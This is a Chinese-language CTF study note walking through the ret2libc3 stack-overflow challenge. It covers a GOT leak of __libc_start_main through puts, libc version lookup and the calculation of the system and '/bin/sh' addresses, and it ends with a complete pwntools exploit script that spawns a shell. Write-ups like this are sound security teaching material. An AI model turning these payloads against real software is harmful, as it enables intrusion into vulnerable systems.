二進制學習系列-棧溢出之libc利用
- 2019 年 10 月 8 日
- 筆記
經典文章:https://segmentfault.com/a/1190000005888964#articleHeader3
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2libc/ret2libc3
首先查看安全保護

可以看見主程序沒有開啟ASLR

但是libc文件開啟了ASLR,扔進IDA中查看偽代碼
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No surprise anymore, system disappeard QQ."); printf("Can you find it !?"); gets(&s); return 0; }
明顯看出是一個棧溢出,在查看彙編代碼

可以看到字符串s是相對於esp的偏移,所以我們還需要自己去測出s距離溢出點的位移,整個反彙編中沒有找到system系統函數,也沒有發現『/bin/sh'的字符串,所以應該都在libc.so文件之中,但是libc開啟了ASLR保護,所以我們所看見的都是相對於基址的偏移量,我們需要通過泄漏libc文件中的函數來確定system函數以及bin字符串的地址。
即使程序開啟了ASLR,最低的12位並不會發生改變,所以我們只要知道了libc中某一個函數的地址,我們就能知道該程序所利用的libc版本,進而我們就知道了該libc中system函數的地址。
那麼問題是我們怎樣才能知道libc中函數的地址:
我們可以通過got表泄漏,就是輸出某個函數對應got表項的內容。因為libc具有延時機制的綁定,所以我們需要選擇已經執行過了的函數來進行泄漏。
我們一般泄漏__libc_start_main的地址,這個地址就是libc文件的基址
所以大致的步驟就是:
1.泄漏__libc_start_main的地址
2.獲取libc版本
3.再次執行main函數
4.獲取system以及bin的地址
5.棧溢出獲取shell
1.泄漏__libc_start_main的地址

輸入地址

返回值地址,所以可得偏移量為0x70。
所以我們可以利用puts函數來打印出libc_start的地址,在去尋找相對應的libc,從而getshell。首先查看一下puts函數的地址:

所以這樣寫playload:
playload = 'A'*112 + p32(put_plt) + p32(main_addr) + p32(libc_addr)
由於我們調用put函數的時候需要一個返回地址,所以我們這裡返回main函數的地址,可以打印出libc函數地址之後再次重新執行main函數。
2.獲取libc版本
這裡我們有兩種方法來獲取libc版本:
- 利用別人所寫的libc_seacher腳本,具體 https://github.com/lieanu/LibcSearcher
- 利用別人所收集的libc,具體看 https://github.com/niklasb/libc-database
3.獲取system函數以及/bin/sh地址:
用所計算得到的libc基地址:
__libc_start_main - libc.symbols['__libc_start_main']
加上所獲取到的system地址:
libc_database + libc.symbols['system']
/bin/sh地址也一樣:
libc_database + next(libc.search('/bin/sh'))
4.重新執行main調用system函數
playload2 = 'A'*104 + p32(sys_addr) + 'BBBB' + p32(bin_addr)
5.EXP:
from pwn import * libc = ELF('libc.so.sys') ret = ELF('ret2libc3') p = process('./ret2libc3') gdb.attach(p) put_plt = ret.symbols['puts'] main_addr = ret.symbols['main'] libc_addr = ret.got['__libc_start_main'] playload = 'A'*112 + p32(put_plt) + p32(main_addr) + p32(libc_addr) p.sendlineafter('Can you find it !?',playload) libc_real = u32(p.recv(4)) print hex(libc_real) sys_addr = libc_real - (libc.symbols['__libc_start_main'] - libc.symbols['system'] ) bin_addr = libc_real - (libc.symbols['__libc_start_main'] - next(libc.search('/bin/sh') ) ) print hex(sys_addr) + 'n' + hex(bin_addr) playload2 = 'A'*104 + p32(sys_addr) + 'BBBB' + p32(bin_addr) p.sendline(playload2) p.interactive()